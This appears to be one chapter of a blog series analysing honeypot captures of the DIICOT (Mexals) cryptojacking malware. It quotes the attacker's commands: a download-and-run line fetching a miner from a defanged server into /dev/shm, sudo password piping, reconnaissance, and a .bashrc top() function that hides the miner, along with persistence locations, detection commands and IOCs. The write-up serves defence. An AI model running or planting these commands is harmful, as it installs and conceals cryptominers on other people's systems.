DIICOT · Chapter 23
The command that lies
I left a password sitting on a decoy and, one Sunday, something came through it three times. I neutralised what it brought; what I didn't see until later was what it left planted — a line in .bashrc that makes «top» lie and hide the very process eating the machine. A rootkit without a rootkit. And putting two frozen disks side by side turned up the detail that changes everything: the same line, with a different number.
Almost everything that knocks on a decoy's door is a machine that scans, tries four passwords and moves on. This was different — and not because of how it got in, but because of what it left behind.
One Sunday in September, something came through three times. The first visit didn't lift a finger; the last left the machine seeded. And the interesting part isn't any one of the three on its own: it's what you see when you line them up.
There's one thing, besides, that only shows up because I froze the disk after every visit — a snapshot of the filesystem exactly as it was left. Three snapshots. Without them, the finding at the end of this chapter would have walked straight past me.
01Three visits, one step up each time
The first thing that jumps out when you compare the three disks is where the line falls:
# the stock .bashrc on this machine is 607 bytes
visit 1 early afternoon .bashrc 607 B no cron no preload
visit 2 that evening .bashrc 774 B cron_d_9499 ld.so.preload
visit 3 ninety minutes on .bashrc 774 B cron_d_4836 ld.so.preloadThe first came in, sized the machine up, did its thing and left without planting anything: the administrator's shell config file still weighs what it weighed out of the box, there are no new scheduled tasks, there's no loader lever. If the day had stopped there, I'd have a sample and not much of a story.
The second was the one that stayed: it set up five footholds at once, the backdoor among them. And the third came back ninety minutes later — from the same address as the second — and reapplied them one by one, on top of the ones already there.
02How it sizes up the house before moving in
Every critter, the moment it sets foot on a machine, measures it: it wants to know what CPU it has and how many cores, because that's what decides how much it can mine. This one starts with a test I enjoyed finding:
printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filterIt writes a file, makes it executable, runs it, checks the output is what it expected, and deletes it. The file itself is dumb — two lines. What has substance is what it's for: it's a test of whether this folder allows writing and, crucially, executing. Plenty of well-built servers mark their temp directories as «nothing runs here», and the critter checks before wasting time pulling down a binary it won't be able to launch.
And right after, the detail that gives away whoever is behind this:
echo '<password>' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo'Read it left to right: it tries nproc; if that's missing, it tries the full path; failing that, busybox; and if none of those exist, it counts the lines of a system file by hand. Four routes to find out a single number. All of it while feeding the password to sudo down a pipe, to get administrator rights without anybody typing a thing.
Every order it issues is wrapped like that. Nobody writes that by hand three times in one day.
The rest of the reconnaissance is short and to the point — what system this is, how many cores, how long it's been up, whether there's a GPU, and what architecture the CPU is:
uname -s -v -n -m # system, version, hostname and architecture
nproc # cores — this decides how much it can mine
cat /proc/uptime # how long it's been running
grep -i vga ; grep -i nvidia # any graphics card? they have a GPU branch
uname -m # the architecture, on its own: needed for the downloadThat block doesn't always come this short. In its long form it adds a question that has nothing to do with mining: it takes the output of last, which is the list of who has been logging in to this machine. They're not only here for the cores — while they're at it, they note down who comes and goes.
03The download
With the machine measured, down comes the payload. This is the whole order, and it's worth reading in full:
cd /dev/shm && ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \
hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \
|| wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) )
chmod +x .16 ; ./.16Three things define this line, and all three are deliberate choices.
It doesn't touch the disk: it uses /dev/shm, a folder that actually lives in RAM. Whatever is written there vanishes when the machine powers off, and leaves far less behind for whoever investigates afterwards.
It carries curl and, if that fails, wget — the two usual command-line download tools. Belt and braces, the same pattern as the fallback chain above.
And the CPU architecture isn't written in: it asks the machine with $(uname -m) and pastes the answer onto the end of the address. The server then hands back the binary built for that exact CPU. One single command that works on an x86 server and on an ARM router alike.
The file is called .16. The leading dot makes it invisible to an ordinary listing, and the name — a two-digit number — is so nondescript the eye slides right off it. That name is coming back in a moment, and that's where this chapter turns.
The family is DIICOT — also known as Mexals — an old acquaintance of the cryptojacking world, documented since 2021 by Bitdefender, Akamai, Cado, Darktrace and Wiz. What DIICOT is isn't something I'm discovering here: it's been told, and told well. What I'm bringing is what you see when you look at these three disks.
And on one of the later visits they didn't just pull this one down: they also brought a second miner, a GPU one, dropped under the name init. That's the answer to the graphics-card question from the previous section — yes, they had a GPU branch, and they carried it with them. It's ethminer, a perfectly legitimate open-source miner — as XMRig is — so mind how you catalogue it: what points at these people isn't the program, it's the name they drop it under. And it never ran: the neutraliser caught it before it started, so which wallet that one was paying into is something I never got to find out.
04The command that lies
Here's the payoff, and it turned up going back over the disk afterwards. On the second visit, /root/.bashrc — the file that configures the administrator's shell — had gone from 607 to 774 bytes. A single line added at the end:
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null \
| sed -e '/16/d' -e '/libbase\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; }Read it slowly, because it's a small piece of work.
In Linux you can redefine a command: write a function with the same name as a program that already exists. From that moment on, when somebody types that name the usual program doesn't run — your function does. It's an ordinary shell feature, meant for handy shortcuts. Here they're using it for something else.
The command they've redefined is top: the one every administrator types when the machine feels slow, to see what's eating the CPU. And their fake version does three things — it runs the real top, passes its output through a filter, and covers its tracks.
The filter is what matters. sed -e '/16/d' means, literally, «delete every line containing 16». And 16 —I told you that name would be back— is the name the miner renames itself to when it starts. Translated:
The administrator opens top to see what's eating the machine, and the one process eating it is the only one that doesn't show up.
The rest of the line is craftsmanship so nothing looks off. The script -q -c fools top into believing there's a screen in front of it, because if it detects its output going into a pipe it breaks and draws nothing. The tput civis and cnorm hide and restore the cursor — including if you hit Ctrl+C, thanks to the trap — so it looks identical to the real thing. And if anything fails, the || /usr/bin/top at the end runs the genuine one, so as not to raise suspicion even with an error.
05Five ways back in
The fake top is for hiding. To come back, that same visit set up five more things, and set them all up at once:
- a systemd timer under an innocent name, system-helper, that fires on its own;
- two scheduled tasks in /etc/cron.d/ — one with a fixed name, one with a random number;
- an /etc/ld.so.preload, which is the lever for slipping a library inside every new process on the system;
- the .bashrc backdoor from above;
- and a tweaked .profile, so it fires on login shells too.
On disk nearly all of them show up at zero bytes — the containment emptied them — and it left the .profile padded with blanks. Of most of their contents I got nothing; of their names and locations, yes. The .bashrc one is the exception: it survived intact.
And I know what the .profile said even though it's blank, because the numbers add up: the file went from 132 to 147 bytes, and the fifteen that were added ended up zeroed. The line the miner writes there travels inside the binary itself and is exactly those fifteen characters — source .bashrc. You don't need the file to know what was in it.
But careful about reading that zero as if nothing had happened, because the kernel's own record says otherwise:
type=SERVICE_START unit=system-helper comm="systemd" res=success
comm="system-helper-r" ppid=1 # launched by the system itself, not by a sessionThe timer was enabled, started, and ran its script. That ppid=1 is the signature of the system setting it off on its own, with nobody logged in any more.
And here's my favourite detail in the whole case, because it closes the gap without needing the file at all: systemd will not start an empty unit. If the file reads zero on the frozen disk but the log says the service started fine, then it had content when it started — the zero came afterwards. I don't know what was inside, but I know there was something, and that it worked.
The two files that survived also carry the same timestamp, down to the second: the five footholds aren't built up gradually, they're planted in one go.
Put it in context: in the afternoon they left without planting a thing, and a few hours later the machine had five footholds and a command that lies. That isn't a kit that fires once and forgets.
06The number that doesn't add up
Go back to the .bashrc line and look at what the filter deletes. Three things:
sed -e '/16/d' # the miner's name — that adds up
-e '/libbase\.sh/d' # a file that doesn't exist on my machine
-e '/7704/d' # a loose number? where does that come from?The first adds up. The second is a file I searched the whole disk for and never found. And the third looks like a process number — what Linux calls a PID, the identifier the system hands each running program. But PIDs are handed out by each machine as it goes: you can't know them in advance.
My first theory was that another victim's template had slipped through — that this 7704 was a process number on some other machine, copied over without noticing. It sounds good, it points to sloppiness, and it makes a nice headline.
I was wrong. And I found out because I had one disk more.
First: that number belongs to this machine. The kernel audit trail confirms it — during that visit, process 7704 was alive in here, spawning children of its own. It's the critter's number, on that particular visit.
And the second part is what settles it. The third visit came back and reinstalled the same backdoor. Side by side:

The same line, letter for letter, with a different number. The two names — 16 and libbase.sh — are fixed constants. The number is the only thing that changes from one installation to the next, and it matches the process doing the writing.
So if you run servers, this is what to look for, and it costs a second:
declare -f top crontab kill # if they return code, there it is
grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc /root/.bashrc /etc/profile.d/*
grep -rl 'libbase\.sh' /etc /usr/local /root ~I ask about three commands and not one because top is the only one I found installed here — the other two turn up ready and waiting inside the binary, and I open them in the next chapter.
What I still don't know is who writes that number. Because if it changes with every installation and matches a process that was alive, something is working it out and pasting it in on the fly, in a matter of seconds. The answer isn't on the disk: it's inside the miner, and getting it out means opening it up.
07Indicators (IOCs)
These are from the capture. The ones from inside the binary — who it pays, and who fills that gap — go in the next chapter.
| Type | Value |
|---|---|
| Source IPs | 92.118.39.77 (first visit) · 62.171.133.1 (second and third — the same one, a repeat) |
| Second payload | ethminer dropped under the name init — legitimate software: what flags it is the deployment name, not the program |
| Delivery server | hxxp://5.189.149[.]171/f/brute/m/.16_<arch> — structured path: campaign / type / architecture |
| Shell backdoor — the signature | a top() function in .bashrc piping top through a sed that deletes 16, libbase.sh and a variable number. ⚠️ That number doesn't repeat across victims: don't hunt for it, hunt for the shape of the line. |
| Cheap detection | declare -f top crontab kill · grep -nE '^(top|crontab|kill)\(\)' ~/.bashrc |
| Process / file name | 16 · /dev/shm/.16 · /root/.16 |
| Persistence | system-helper (systemd timer) · /etc/cron.d/cron_d_<n> · /etc/ld.so.preload · /root/.profile |
| Shell hook component | libbase.sh — referenced by the backdoor; never written here |
| Capability probe | printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter |
| Reconnaissance | uname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · four-way fallback chain down to busybox |
| Privilege escalation | echo '<pass>' | sudo -S sh -c '…' — credential down a pipe on every order |
| SHA-256 (miner) | a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 |
The one that lasts isn't any hash — those change with every rebuild. It's the shape of the backdoor: a top that's a function instead of a program. A gesture so anomalous it's caught with a single command, and one that survives every recompilation they care to do.
To be continued — I kept the miner sample. Inside it is the answer to who fills that gap, and along the way, who gets paid: a wallet hidden behind encryption that's frankly laughable. I open it with Ghidra in Chapter 24. 🍯
Comments